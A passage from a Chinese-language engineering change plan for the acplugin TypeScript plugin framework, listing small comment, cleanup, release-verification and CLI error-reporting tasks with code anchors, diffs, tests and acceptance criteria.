清单允许出现的官方根字段。核验日期:2026-08-06,来源见 §21 code.claude.com/docs/en/plugins-reference。 */`;同法处理 :81 MARKETPLACE_FIELDS、:84 MARKETPLACE_PLUGIN_FIELDS。 -- codex/src/validator.ts:19 PLUGIN_FIELDS、:25 INTERFACE_FIELDS、:28 SKILL_METADATA_FIELDS(注明 agents/openai.yaml)、:32 SKILL_INTERFACE_FIELDS、:42/:45 MARKETPLACE_* → 追加 `核验日期:2026-08-06,来源见 §21 developers.openai.com/plugins/build/plugins。` -- codex/src/protocol.ts:37 CODEX_INTERFACE_FIELDS → 同上 Codex 来源。 -日期用 2026-08-06 与 README/test 现有注解保持一致。 - -**边界与连带:** 纯注释,零运行时影响、零产物字节变化。所有注释含中文,满足 scripts/check-comments.mjs 的 CJK 要求。protocol.ts:37 注释含反引号 `interface`,追加文本勿破坏该 JSDoc。日期须与 hooks/README.md、mcp/README.md 的 2026-08-06 一致(不要各处不同日期)。 - -**测试:** 无新测试。跑 `pnpm -r typecheck` 与 eslint 确认注释未破坏解析;跑 check-comments.mjs 确认覆盖率不降。 - -**验收:** 上述每个字段集声明的前置注释都含 `核验日期:2026-08-06` 与对应 §21 URL;typecheck/eslint/check-comments 全绿。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- - -### P17d-2 · Claude displayName/defaultEnabled 的 SchemaStore 陷阱 + 版本门槛注释 - -**决策:** 在 Claude manifest 生成与 PLUGIN_FIELDS 处加注释:displayName/defaultEnabled 在官方 reference 存在但 SchemaStore 无;defaultEnabled 需 Claude Code ≥ v2.1.154。 - -**现状(锚点):** packages/platforms/claude-code/src/manifest.ts:119 `...(metadata.displayName === undefined ? {} : { displayName: metadata.displayName })`,:125 `...(context.options.defaultEnabled === undefined ? {} : { defaultEnabled: ... })`;validator.ts:7-11 PLUGIN_FIELDS 已含 'displayName' 与 'defaultEnabled';manifest.ts:94 options 白名单 `new Set(['strict','defaultEnabled','marketplace'])`,:101-102 defaultEnabled 布尔校验。均无来源/版本陷阱说明。 - -**具体改动:** - -① manifest.ts:125 defaultEnabled 上方加行内注释:`// defaultEnabled 仅存在于官方 plugins-reference,SchemaStore 的 plugin schema 尚未收录;且需 Claude Code ≥ v2.1.154 才生效,低版本会忽略该字段。` -② manifest.ts:119 displayName 上方加:`// displayName 见官方 reference,但 SchemaStore 无此字段,校 SchemaStore 会误报未知字段——以官方 reference 为准。` -③ validator.ts:7 PLUGIN_FIELDS 注释追加:`(displayName/defaultEnabled 依据官方 reference 收录,SchemaStore 尚缺;defaultEnabled 需 Claude Code ≥ v2.1.154)`。 - -**边界与连带:** 纯注释。版本号 v2.1.154 为既定事实,原样写入不要臆改。注释须中文(含少量英文字段名/版本号可接受,只要有 CJK)。不改变字段仍照常写出的行为(add-only)。 - -**测试:** 无新测试;typecheck/eslint/check-comments 复跑。 - -**验收:** manifest.ts 两处字段写出点与 validator.ts PLUGIN_FIELDS 均带该陷阱+版本注释;行为不变。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- - -### P17d-3 · sortObject/cloneJson 整数键实际按 JS 数值序的注释纠正 - -**决策:** 纠正/补全注释:整数索引键最终按 JS 数值序输出,localeCompare 只决定非整数字符串键顺序;此为 Object.fromEntries/defineProperty 后枚举重排整数键所致,且不依赖 ICU。 - -**现状(锚点):** packages/core/src/serialization.ts:11-21 sortObject 用 `.sort(([a],[b]) => a.localeCompare(b,'en'))` 后 `Object.fromEntries`;文档注释(:3-10)只说『按键名排序对象』。packages/core/src/documents.ts:36-64 cloneJson 用 `Object.keys(object).sort((l,r)=>l.localeCompare(r,'en'))` 后 `Object.defineProperty`。已实测确认:两者最终枚举/序列化时整数键(如 '1','2','9','10')被引擎按数值升序前置,localeCompare 的 lexicographic 结果被覆盖;localeCompare 仅对非整数字符串键(如 'a','b')生效。 - -**具体改动:** - -① serialization.ts sortObject JSDoc(:3-10)补一句:`注意:JS 引擎在枚举/序列化重建对象时会把整数索引键(如 '10')按数值升序前置,故这些键实际按数值序输出、localeCompare 只决定非整数字符串键的相对顺序;整数键顺序不依赖 ICU,反而更稳。` -② serialization.ts:17 `.sort(...localeCompare...)` 行尾/上方加行内注释:`// 对整数键无实效——Object.fromEntries 后枚举会按数值序重排,localeCompare 只排非整数字符串键。` -③ documents.ts:57 同款行内注释;并把 :53 注释『按稳定键顺序复制』收紧为『非整数键按 localeCompare、整数键按 JS 数值序复制』。 - -**边界与连带:** 纯注释,行为/字节不变(已实测输出顺序即当前实现输出)。与 §18 一致且更强:整数键排序不经 ICU,故 ICU 版本差异不影响整数键(与 P17d-4 呼应,注释可交叉引用)。措辞须与实测一致:不要写成‘localeCompare 决定所有键’。 - -**测试:** 可选(建议)最小回归断言,加到 packages/core/test/documents.test.ts:构造含键 {'10','2','1','b','a'} 的 document value,断言 cloneJson 后 `Object.keys(...)` === ['1','2','10','a','b'](整数数值序 + 字符串 localeCompare 序)。这是 §18 确定性的 load-bearing 断言。 - -**验收:** 两文件注释准确描述整数键=数值序、字符串键=localeCompare;若加断言则该断言通过;typecheck/check-comments 绿。 - -**工作量:** S | **独立分支:** 否 | **风险:** none——已用 node 实测证实原方案措辞正确(Object.fromEntries/defineProperty + 枚举把整数键重排为数值序),无与决策冲突。 - - ---- - -### P17d-4 · localeCompare('en') 的 ICU 依赖注明(§18 只钉 Node major) - -**决策:** 在共享比较器与 sortObject 处注明:字符串排序用 localeCompare('en'),其对 Unicode 边界字符的结果依赖 Node 内置 ICU 版本,而 §18 只钉 Node major;实际输入为 ASCII 标识符,故跨 ICU 稳定。 - -**现状(锚点):** packages/core/src/diagnostics.ts:39-41 compareStrings 是诊断/兼容性/元数据排序的共享比较器(被 sortDiagnostics/sortCompatibility 等复用),用 `.localeCompare(...,'en')`;packages/core/src/serialization.ts:17 sortObject 同样用 localeCompare('en')。均未注明 ICU 依赖。 - -**具体改动:** - -① diagnostics.ts:39 compareStrings 上方注释追加:`// localeCompare('en') 的整理结果在 Unicode 边界处依赖 Node 内置 ICU 版本;§18 只钉 Node major,故此处的确定性依赖‘输入均为 ASCII 标识符/kebab-case/相对路径’——这类输入的 localeCompare 跨 ICU 版本稳定。若未来排序键可能含任意 Unicode,需改用 code-unit 比较以彻底摆脱 ICU。` -② serialization.ts:17 加精简版:`// localeCompare('en') 依赖 ICU;当前键均为 ASCII,跨 ICU 稳定(见 diagnostics.ts compareStrings 注释)。` - -**边界与连带:** 纯注释。与 P17d-3 呼应:整数键不经 localeCompare 故与 ICU 无关。注释须准确——不要暗示当前存在 bug;当前输入域(ASCII)下确定性成立。中文注释满足 check-comments。 - -**测试:** 无新测试;check-comments/typecheck 复跑。 - -**验收:** compareStrings 与 sortObject 均带 ICU 依赖说明并指出当前 ASCII 输入域使其稳定、以及未来 Unicode 输入的升级路径。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- - -### P17d-5 · Cursor logo 故意不做存在性校验的注释(可能是远程 URL) - -**决策:** 在 Cursor validator 的引用存在性校验处注明:logo 虽在 MANIFEST_FIELDS 中被接受,但故意不纳入路径存在性检查,因为 Cursor 允许 logo 为远程 URL 而非 Plugin 根内文件。 - -**现状(锚点):** packages/platforms/cursor/src/validator.ts:9 MANIFEST_FIELDS 含 'logo';:131-133 未知字段检查按 MANIFEST_FIELDS 放行 logo;:152-156 仅对 commands/skills/agents 做 validateReference 存在性检查,:157-163 仅对 hooks/mcpServers。logo 全程无路径安全/存在性校验,但无注释说明这是有意为之(原任务锚点 :152)。 - -**具体改动:** - -在 validator.ts:152(commands/skills/agents 引用检查循环上方)插入注释:`// 注意:logo 虽是 MANIFEST_FIELDS 合法字段,但刻意不在此做路径存在性/安全校验——Cursor 允许 logo 为远程 URL(非 Plugin 根内相对路径),对其做 referenceExists 会误报。仅对确定为 Plugin 根内引用的字段(commands/skills/agents、hooks/mcpServers)校验。` - -**边界与连带:** 纯注释,不改校验行为(logo 依旧只受未知字段白名单约束)。若日后要校验 logo,需先区分 URL 与相对路径两种形态——注释已点出。中文注释满足 check-comments。 - -**测试:** 无新测试;确认 cursor platform.test.ts 既有用例仍绿。 - -**验收:** validator.ts 引用检查段有该注释,解释 logo 被有意排除的原因;校验逻辑与产物不变。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- - -### P17d-6 · verify-release.mjs 增加 MCP tree-shake §4.3 断言 - -**决策:** 在发布验证中静态断言:主包 dist/index.mjs 的 eager(静态 import)图不含 MCP-extension 运行时符号(defineMcpServer),证明可选 MCP Extension 未被 eager 打包。 - -**现状(锚点):** scripts/verify-release.mjs 现有 inspectTarball(:103) 解压主包但不做 eager-graph 检查;verifyMainOnlyMigration(:169) 只在运行时证明 MCP 扩展未被安装。实测(packages/acplugin/dist):index.mjs 静态 import 8 个 src-*.mjs,其中无 defineMcpServer;defineMcpServer/migration-validation-api 仅存在于 lazy 的 migration-*.mjs(由 cli.mjs 动态 import,不在 index.mjs 静态图)。字符串 `@tokenroll/acplugin-extension-mcp` 会合法出现在 eager 的 init/scaffold 代码中(src-BeOh0YMW.mjs:329/360/547 写生成文件),故不能用包名作标记。 - -**具体改动:** - -新增纯函数(script 内)`assertMainEagerGraphExcludesMcp(packageRoot)`,并在 inspectTarball 内 `expectedName === '@tokenroll/acplugin'` 分支(:114 MCP 断言附近)调用: -```js -// §4.3:主包 eager 图不得静态拉入 MCP Extension 运行时符号;MCP 只能经 lazy chunk 动态加载。 -async function assertMainEagerGraphReachable(distDir) { - const seen = new Set(); - const stack = ['index.mjs']; - while (stack.length) { - const rel = stack.pop(); - if (seen.has(rel)) continue; seen.add(rel); - const code = await fs.readFile(path.join(distDir, rel), 'utf8'); - // 仅跟随静态 import/export ... from './x'(动态 import("…") 天然不匹配 => 被排除) - for (const m of code.matchAll(/(?:from|import)\s*["'](\.\/[^"']+)["']/g)) - stack.push(m[1].replace(/^\.\//, '')); - } - return seen; -} -// 调用: -const distDir = path.join(destination, 'package/dist'); -const eager = await assertMainEagerGraphReachable(distDir); -for (const rel of eager) { - const code = await fs.readFile(path.join(distDir, rel), 'utf8'); - assert(!/\bdefineMcpServer\b/.test(code), - `Main package eager graph (${rel}) statically pulls in MCP-extension symbol defineMcpServer; MCP must stay lazy (§4.3).`); -} -``` -标记用 `defineMcpServer`(MCP 运行时公开符号,仅当扩展代码被内联时出现),不用包名字符串。 - -**边界与连带:** 确定性:必须跟随内容 hash 命名的 chunk 规范(如 src-CZQrAAf6.mjs),不能硬编码文件名——上面用图遍历解决。动态 import `import("…")` 必须被排除:正则以 `from|import` 后紧跟引号匹配,`import(` 后是 `(` 不匹配,天然排除 lazy 边界。若 tsdown 输出改用不带 `./` 前缀或裸 specifier 需同步正则(当前全部为 `./` 相对)。marker 需能抗 minify——当前 dist 未 minify 且 defineMcpServer 为导出/属性名不被改写;若未来开启 name-mangling,应改断言 chunk 集合本身(如断言 migration/mcp chunk 不在 eager 集合)。 - -**测试:** 断言本身即测试,随 `node scripts/verify-release.mjs`(或 pnpm 对应脚本)执行。反向验证:临时在 index.ts 顶部静态 `import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'` 重打包,确认脚本 fail(验证后回滚)。 - -**验收:** verify-release.mjs 运行时对主包 eager 图断言通过;人为把 MCP 运行时符号拉进 eager 图会使脚本非零退出。 - -**工作量:** M | **独立分支:** 否 | **风险:** marker 依赖 dist 未 mangle 导出/属性名(当前成立)。若发布构建启用符号混淆,defineMcpServer 可能消失——届时改为‘eager 图不得包含 migration/mcp 专属 chunk 文件’的集合断言。 - - ---- - -### P17d-7 · cross-unit 图安全由 / 隔离提供的注释 - -**决策:** 注明:全局 DeliveryUnit/Artifact 图的跨单元安全,来自每个单元独占 / 两级根 + 单元内独立 ArtifactRegistry,路径不会跨单元冲突。 - -**现状(锚点):** 锚点 lifecycle.ts:695-696 `const finalUnits = units.snapshot()`(即 spec 步骤 12 的全局图校验入口)无跨单元隔离说明。真正的隔离机制在:delivery-units.ts:14 `#units` 以 `(platform,unit-id)` 键、:32-34 #key、:56-58 重复键报错、:60 单元内独占 ArtifactRegistry;transaction.ts:216-228 deliveryUnitRoots 用 `${unit.platform}/${unit.id}` 作物理根并对重复根抛错(:223-225)。 - -**具体改动:** - -① lifecycle.ts:695-696 快照处注释追加:`// 跨单元安全性由 / 隔离保证:每个 DeliveryUnit 独占该两级物化根(见 transaction.ts deliveryUnitRoots)且各自独立 ArtifactRegistry(delivery-units.ts),故不同单元的同名相对路径永不互相覆盖;此处只需校验全局图完整、无错误。` -② transaction.ts:222 `const key = ${unit.platform}/${unit.id}` 上方注释补:`// 该两级根即跨单元隔离边界:重复即报错,保证任意两单元的 Artifact 落到不相交子树。` - -**边界与连带:** 纯注释。前提:platform 与 unit id 均已被 kebab-case 校验(delivery-units.ts:49、transaction.ts:220),隔离才无歧义——注释可点出此前提。不改行为/字节。 - -**测试:** 无新测试;确认 delivery-units.test.ts / transaction.test.ts 既有重复键用例覆盖该保证(如有则引用,无需新增)。 - -**验收:** lifecycle.ts 全局图校验处与 transaction.ts 根映射处均注明隔离由 / 提供;无行为变化。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- - -### P17d-8 · migration 全局 symbol bridge 的串行前提注释 - -**决策:** 注明:global symbol bridge + activeValidationProxies 引用计数只在‘所有并发迁移暴露同一不可变 api 且 runProject 校验按迁移串行’的前提下安全;它不隔离不同 api,并发差异 api 会后写覆盖。 - -**现状(锚点):** packages/acplugin/src/migration/index.ts:46 `MIGRATION_VALIDATION_API = Symbol.for('tokenroll.acplugin.migration-validation-api')`,:48-49 `let activeValidationProxies = 0`;:1269-1271 validateCanonicalProject 里 `api = Object.freeze({ defineConfig, claudeCode, mcp, defineMcpServer })`→`Reflect.set(globalThis, ...)`→计数+1;:1322-1324 finally 计数-1、归零才 deleteProperty。注释(:48)只说『延迟删除全局桥接』,未写清并发前提。 - -**具体改动:** - -把 index.ts:48 注释扩写为:`// 引用计数用于并发迁移共享全局桥接时延迟删除。安全前提:①每次迁移写入的 api 都是同一组不可变公开工厂({defineConfig,claudeCode,mcp,defineMcpServer}),故并发覆盖是幂等的;②每个生成工程的 runProject('validate') 就其自身而言是串行的,不依赖 per-call 的 api 身份。该桥接是进程/realm 级可变状态,不隔离不同 api——若未来令 api 随迁移变化(或在共享 realm 的 worker 中并行),最后写入者会覆盖其余,必须改为 per-migration 键或显式互斥。` -可在 :1270 Reflect.set 处加一行 `// ponytail: 进程级全局桥接,api 恒为同一冻结常量故并发幂等;api 若变异则需 per-migration 键。` - -**边界与连带:** 纯注释。事实核对无误:api 恒为同一 frozen 常量(:1269),计数归零才删(:1323-1324),故当前并发相同 api 幂等安全。注释须中文。不改行为。 - -**测试:** 无新测试;确认 migration 相关测试仍绿。 - -**验收:** symbol/计数声明处注释写清‘同一不可变 api + 串行 runProject’前提及并发差异 api 的失效模式与升级路径。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- - -### P17d-9 · baseline changeset 故意不 bump 的说明 - -**决策:** 在 .changeset/initial-1-0-baseline.md 说明:空 frontmatter 是有意的——记录 1.0.0 架构基线但不触发任何包版本 bump,以满足首次手动发布前公开 cohort 固定在 1.0.0 的约束。 - -**现状(锚点):** .changeset/initial-1-0-baseline.md 现为空 frontmatter(:1-2 `---`/`---`)+ 单行正文『Record the unreleased 1.0.0 architecture baseline without bumping the already prepared public cohort.』;未解释为何空 frontmatter=不 bump。约束依据:scripts/verify-release.mjs:348 断言 version==='1.0.0'『must remain at 1.0.0 before the first manual publish』;.changeset/config.json 三公开包 fixed 组、私有包 ignore。 - -**具体改动:** - -保留空 frontmatter(不加任何 `'@tokenroll/...': patch` 行——加了就会 bump),把正文扩写为(英文正文即可,changeset 正文非注释、不受 check-comments 约束): -`Record the unreleased 1.0.0 architecture baseline without bumping the already-prepared public cohort.\n\nThe empty frontmatter is intentional: it declares zero package bumps, so "changeset version" produces no version change. The public cohort (@tokenroll/acplugin + hooks/mcp extensions, a fixed group in .changeset/config.json) must stay pinned at 1.0.0 until the first manual publish — enforced by scripts/verify-release.mjs (asserts version === '1.0.0'). This entry exists only to document the baseline in the changelog; do not add package:bump lines here.` - -**边界与连带:** 关键:frontmatter 必须保持空,任何 `pkg: patch/minor/major` 行都会破坏 1.0.0 pin 并使 verify-release.mjs:348 失败。确定性:changeset 正文进 changelog,不入产物字节。此文件为 Markdown 正文,非源码注释,无需中文。 - -**测试:** 无代码测试。验证:`pnpm changeset status`(或等价)显示 0 个待 bump 包;`node scripts/verify-release.mjs` 的 version==='1.0.0' 断言仍通过。 - -**验收:** baseline changeset 正文解释了空 frontmatter=不 bump 及 1.0.0 pin 的来由与约束;frontmatter 仍为空;changeset status 无版本变更。 - -**工作量:** S | **独立分支:** 否 | **风险:** none(唯一雷区是误加 bump 行,已在文中显式警告)。 - - ---- - -### P12 · 发布 runbook 记录 tsdown 0.x(0.22.x)破坏性风险(仅文档,不改 catalog pin) - -**决策:** 在发布 runbook 记录 tsdown 处于 0.x(catalog 固定 ^0.22.14)、0.x minor 间可能有破坏性变更的风险;不改 pnpm-workspace.yaml 的 catalog pin。双语文档成对更新(release.md + release.zh-CN.md)。 - -**现状(锚点):** 已 Read 确认。 -- catalog pin:pnpm-workspace.yaml 第 11 行 `tsdown: ^0.22.14`(0.x 上的 caret = `>=0.22.14 <0.23.0`,已自动排除 0.23 minor 跳升)。 -- llmdoc/guides/release.md(84 行)节:## Repository workflows / ## Prepare a release / ## Pack the release cohort / ## Publish manually / ## Create the release references manually / ## Safety rules(末节),无工具链风险条目。 -- llmdoc/guides/release.zh-CN.md(84 行,成对)节:仓库工作流:13 / 准备发布:21 / 打包发布包组:37 / 手动发布:50 / 手动创建 Release 引用:67 / 安全规则:78(末节)。 -- 仓库维护双语对照(release.md 头部有『[中文对照](release.zh-CN.md)』链接),故两文件都要加。 - -**具体改动:** - -在两文件末节(EN `## Safety rules` / zh `## 安全规则`)之前各插入一个新小节,可直接粘贴: - -# 追加到 llmdoc/guides/release.md(置于 `## Safety rules` 之前) -## Toolchain pins - -`tsdown` is pinned in the workspace catalog at `^0.22.14`, a pre-1.0 `0.x` release. Under semver, `0.x` minors may ship breaking changes; the caret already excludes `0.23.0`. Do not bump the `tsdown` catalog entry as part of a routine release. When a `tsdown` upgrade is required, treat it as a separate deliberate change: bump the catalog pin on its own branch, run `pnpm run check` and `pnpm run release:verify`, and diff every package `dist/` to confirm the declaration output, `attw`, and `publint` results are unchanged before releasing. - -# 追加到 llmdoc/guides/release.zh-CN.md(置于 `## 安全规则` 之前) -## 工具链固定版本 - -`tsdown` 在工作区 catalog 中固定为 `^0.22.14`(1.0 之前的 `0.x` 版本)。按 semver,`0.x` 的 minor 升级可能包含破坏性变更;caret 已排除 `0.23.0`。常规发布中不要顺带升级 catalog 里的 `tsdown`。确需升级时按独立且刻意的改动处理:在单独分支上修改 catalog pin,运行 `pnpm run check` 与 `pnpm run release:verify`,并 diff 每个包的 `dist/`,确认声明文件产物、`attw` 与 `publint` 结果不变后再发布。 - -**边界与连带:** 1) 纯文档,零代码/产物/确定性影响。 -2) 必须成对改:只改一个语言会破坏 release.md↔release.zh-CN.md 对照。 -3) 目标是【tracked】llmdoc/(非 .llmdoc-tmp/),note 会随仓库长期保留 —— 与 AGENTS.md:140『稳定知识更新到 llmdoc/』一致。 -4) pin 不动:`^0.22.14` 已挡住 0.23,风险点其实是『有人手动把 catalog 提到 0.23+ 或跨 patch』时未复验 —— 文案已明确要求升级后重跑 check+release:verify 并 diff dist。 - -**测试:** 无(纯文档)。可选断言:`grep -l 'Toolchain pins' llmdoc/guides/release.md` 与 `grep -l '工具链固定版本' llmdoc/guides/release.zh-CN.md` 均命中;`grep 'tsdown:' pnpm-workspace.yaml` 仍为 `^0.22.14`。 - -**验收:** 两 release 文档各新增该小节且内容对照;pnpm-workspace.yaml 的 tsdown pin 未变;无任何 catalog/构建改动。 - -**工作量:** S | **独立分支:** 否 | **风险:** none。 - - ---- -## S5 — 低优批量清理 - -### P17a · 一行修复批:删死循环/死三元/冗余判断 + trim 空白 + -- 处停止 legacy 扫描 - -**决策:** 五处最小化清理与修正:OpenCode validator 空循环删除;Hooks 运行器死三元简化;scanner stringArray 空白校验改 trim;graph 冗余 byKey.has 删除;CLI legacy --target 扫描在 -- 处停止。 - -**现状(锚点):** (a) packages/platforms/opencode/src/validator.ts:43-47 `for (const artifact of artifacts) { if (...) continue; /* 注释 */ }` —— 每次迭代非 continue 即落到注释,整个循环无副作用。 -(b) packages/extensions/hooks/src/runtime-source.ts:140 (生成的运行器串) `interceptedBytes += Buffer.byteLength(typeof chunk === 'string' ? chunk : chunk);` —— 三元两支都是 chunk。 -(c) packages/core/src/scanner.ts:292 `value.some(item => typeof item !== 'string' || item === '')` —— 只挡空串,放过纯空白。stringField(scanner.ts:264) 用的是 `value.trim() === ''`,不一致。 -(d) packages/core/src/scanner.ts:1047-1050 visit 内 `for (const target of edges.get(node) ?? []) { if (byKey.has(target)) visit(target); }` —— edges 在 1003-1013 只 push 了 byKey.has 为真的 traversable 目标,这里的 byKey.has 恒真。 -(e) packages/acplugin/src/cli.ts:679 `if (argv.slice(2).some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target=')))` —— 扫描 node+script 之后全部参数,包括 `--` 之后本应作为操作数/值的 `--target`,会误触发 legacy usage error。 - -**具体改动:** - -(a) validator.ts:43-47 整段删除(48 行的 `if (!artifacts.has(WORKSPACE_CONFIG_PATH)) return;` 起保留)。 -(b) runtime-source.ts:140 -- ` interceptedBytes += Buffer.byteLength(typeof chunk === 'string' ? chunk : chunk);` -+ ` interceptedBytes += Buffer.byteLength(chunk);` -(Buffer.byteLength 对 string 与 Buffer 均可,行为等价。) -(c) scanner.ts:292 -- `if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item === '')) {` -+ `if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) {` -(短路保证 item.trim() 只在已窄化为 string 时求值。) -(d) scanner.ts:1047-1050 -- ` for (const target of edges.get(node) ?? []) {` -- ` if (byKey.has(target))` -- ` visit(target);` -- ` }` -+ ` for (const target of edges.get(node) ?? [])` -+ ` visit(target);` -(e) cli.ts:678-684,把扫描限制在首个 `--` 之前: -``` - const flagArgs = argv.slice(2); - const terminator = flagArgs.indexOf('--'); - const scanned = terminator === -1 ? flagArgs : flagArgs.slice(0, terminator); - if (scanned.some(argument => argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { - program.error("option '--target' has been removed; use '--platform ' instead", { exitCode: 2, code: 'acplugin.legacyTarget' }); - } -``` - -**边界与连带:** (a) validator 循环纯死代码,删后 validateOpenCodeBundle 语义不变;Public 安全性本就由 Core Artifact Registry 保证(原注释所述)。(b) 生成串行为完全等价,不改运行器语义。(c) 行为微变:纯空白的 requires.skills/agents/capabilities 现在在数组形态层报 FRONTMATTER_STRING_ARRAY,而非落到后续 ID_PATTERN/能力集报更晚的错;结果数组仍返回原值(不 trim 元素),不影响下游。(d) edges ⊆ byKey 恒成立,删除后遍历集合不变,环/缺失检测行为不变。(e) `['build','--target','unknown']` 仍报错(indexOf('--') 为 -1,全扫描);`--` 之后的 `--target` 不再误报。commander 未设 allowExcessArguments(false),`--` 后操作数不会因此崩。 - -**测试:** (a)(b)(d) 无行为变更,验收=现有 opencode/platform.test.ts、hooks.test.ts(SessionEnd oversized/log/output-forbidden 用例已覆盖 intercept 计数)、core/test/graph.test.ts 全绿,不新增。 -(c) core/test/scanner.test.ts 新增:一个 command frontmatter `requires:\n skills:\n - ' '`,断言 diagnostics 含 `{ code: 'FRONTMATTER_STRING_ARRAY' }`。 -(e) packages/test/test/cli.test.ts 新增(沿用 runCli 助手,cli.test.ts:174 同款): -``` -it('does not treat --target after -- as the removed legacy flag', async () => { - const usage = await runCli(['build', '--', '--target'], root); - expect(usage.stderr).not.toContain('has been removed'); -}); -``` -并保留 cli.test.ts:173-177 现有正向用例不变。 - -**验收:** 五处改完:lint(含 comments:check)通过;opencode/hooks/graph/scanner/cli 相关测试全绿;新增 (c)(e) 两例通过;现有 legacy --target 正向报错用例仍通过。 - -**工作量:** S | **独立分支:** 否 | **风险:** none —— 均为等价清理或更早/更一致的校验;(c) 唯一可见变化是空白输入的诊断码前移,需确认无测试断言旧的 COMPONENT_REQUIRES_ID_INVALID 针对空白输入(现有测试用的是非空白非法 ID,不受影响)。 - - ---- - -### P17b · DX 批:init 失败透传具体原因 + stdio MCP smoke 按 production gate - -**决策:** (1) 为 init 已知用户输入错误引入 InitError 并在 CLI 透传其校验消息(未知内部错误仍走通用安全消息);(2) MCP stdio smoke 仅在 mode==='production' 执行,dev 不每次 spawn;(3) pretest=build 的 DX 属可选,现状已由根 pretest 覆盖,建议不动。 - -**现状(锚点):** cli.ts:598-601 init 的 catch 调 `writeFailure('init', error, options.json, false)`;writeFailure→failureReport(cli.ts:119-130) 仅对 ProjectConfigError 保留原诊断,其余一律输出通用 `COMMAND_FAILED: init failed.`,丢掉真实原因。init.ts 的用户输入校验全是裸 `throw new Error(...)`:97/99(目标非空目录/非目录)、213(缺目录)、227(名字非 kebab)、239(描述空)、258(无 Platform)、264/266(未知/重复 Platform);init.ts:103 是 re-throw 的底层 fs 异常(可能含绝对路径)。index.ts:125 只导出 initializeProject。mcp/src/bundler.ts:436-437 无条件 `const smokeFailure = await smokeTestServer(...)`;ExtensionBuildContext(contracts.ts:208 extends LifecycleContext) 带 command/mode。dev 每次重建都 spawn 子进程跑 5s 协议探测。根 package.json 已有 `pretest: pnpm run build`。 - -**具体改动:** - -init.ts:顶部加 `export class InitError extends Error {}`;把 97/99/213/227/239/258/264/266 的 `throw new Error(...)` 全改为 `throw new InitError(...)`(103 的 re-throw 保持不变——未知 fs 错误不透传)。 -index.ts:125 -- `export { initializeProject } from './init.js';` -+ `export { initializeProject, InitError } from './init.js';` -cli.ts:顶部 import 增加 `InitError`;failureReport(119-130) 增支: -``` - const diagnostics = error instanceof ProjectConfigError - ? error.diagnostics - : error instanceof InitError - ? [{ code: 'INIT_INVALID', severity: 'error' as const, message: error.message, phase: command }] - : [{ code: internal ? 'FRAMEWORK_INTERNAL_FAILED' : 'COMMAND_FAILED', severity: 'error' as const, message: internal ? 'The command failed inside the framework.' : `${command} failed.`, phase: internal ? 'internal' : command }]; -``` -mcp/bundler.ts:436-437 -- ` const smokeFailure = await smokeTestServer(bundle.server, server.definition);` -+ ` const smokeFailure = context.mode === 'production' -+ ? await smokeTestServer(bundle.server, server.definition) -+ : undefined;` -pretest:不改。若确需 `pnpm --filter X test` 前自动 build 依赖,再单独评估 per-package pretest,当前 YAGNI。 - -**边界与连带:** 确定性:mode 是 §18 显式可见输入,production 报 smoke、development 不报,是合规的按 mode 分叉,不引入非确定性。dev 下 broken server 的 bundle 仍被写入/提交——这是 dev 信任作者、不阻塞迭代的有意取舍,production/validate/inspect(默认 mode=production)仍全覆盖 smoke。InitError 只承载已知安全文案(无绝对路径);103 的底层 fs 异常仍收敛为通用消息,不泄露。init.test.ts:71 `rejects.toThrow('not empty')` 因 InitError extends Error、消息不变而继续通过。failureReport 的 phase 用 command(即 'init'),与既有 generic 支写法一致;Diagnostic.phase 接受该字符串。 - -**测试:** packages/test/test/cli.test.ts 新增(runCli): -``` -it('surfaces the specific init validation reason', async () => { - await fs.mkdir(path.join(root, 'occupied')); - await fs.writeFile(path.join(root, 'occupied/keep.txt'), 'x'); - const r = await runCli(['init', 'occupied', '--yes', '--json'], root); - const report = JSON.parse(r.stdout); - expect(report.success).toBe(false); - expect(report.diagnostics[0].code).toBe('INIT_INVALID'); - expect(report.diagnostics[0].message).toContain('not empty'); -}); -``` -packages/extensions/mcp/test/mcp.test.ts 新增(对照 mcp.test.ts:374 的 production 反例): -``` -it('skips the stdio smoke in development so dev rebuilds do not spawn servers', async () => { - const root = await createProject({ remote: false, serverSource: 'process.exit(0);\n' }); - const result = await runProject({ cwd: root, command: 'build', mode: 'development' }); - expect(result.success).toBe(true); - expect(result.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MCP_STDIO_SMOKE_FAILED' })); -}); -``` -init.test.ts 现有用例保持不变(回归)。 - -**验收:** 1) `acplugin init <非空目录> --yes --json` 输出 code=INIT_INVALID 且 message 含真实原因('not empty'/'kebab-case' 等);未知内部错误仍为 COMMAND_FAILED;2) production 构建对 broken stdio server 仍报 MCP_STDIO_SMOKE_FAILED(mcp.test.ts:374 不变),development 不报且成功;3) InitError 从主包导出;4) init.test.ts 全绿。 - -**工作量:** M | **独立分支:** 是 | **风险:** InitError 是新公开导出(public-api.types.ts / package-boundaries 快照可能需同步登记);需确认 public-api 类型测试不因新导出失败。mcp gate 用 mode 而非 command:inspect(默认 production)也会 spawn 一次 smoke,可接受(一次性)。 - - ---- - -### P17c · 兼容报告批:Codex 非-tool 事件有意义 matcher 报 degraded + {{arguments}} 独立 transform 行 - -**决策:** (1) reportCodexCompatibility 把 matcher 降级从仅 UserPromptSubmit/Stop 扩到所有非-tool 事件(排除 PreToolUse/PostToolUse/PermissionRequest),与 reportPortableCompatibility 同一规则,不再对非-tool 事件静默吞掉有意义 matcher;(2) Codex Command 正文含 {{arguments}} 时发一条独立 transform 兼容行,显式记录占位符被改写为自然语言。 - -**现状(锚点):** packages/extensions/hooks/src/adapters.ts:282 `if (hasMeaningfulMatcher(options.matcher) && (name === 'UserPromptSubmit' || name === 'Stop'))` —— 只覆盖两个事件,SessionStart/PreCompact 等非-tool 事件带 matcher 时不报降级,作者被误导;对照 reportPortableCompatibility(adapters.ts:443-446)用的是 `event !== 'PreToolUse' && event !== 'PostToolUse' && event !== 'PermissionRequest'`。packages/platforms/codex/src/components.ts:307 command 正文 `.replaceAll('{{arguments}}', 'the 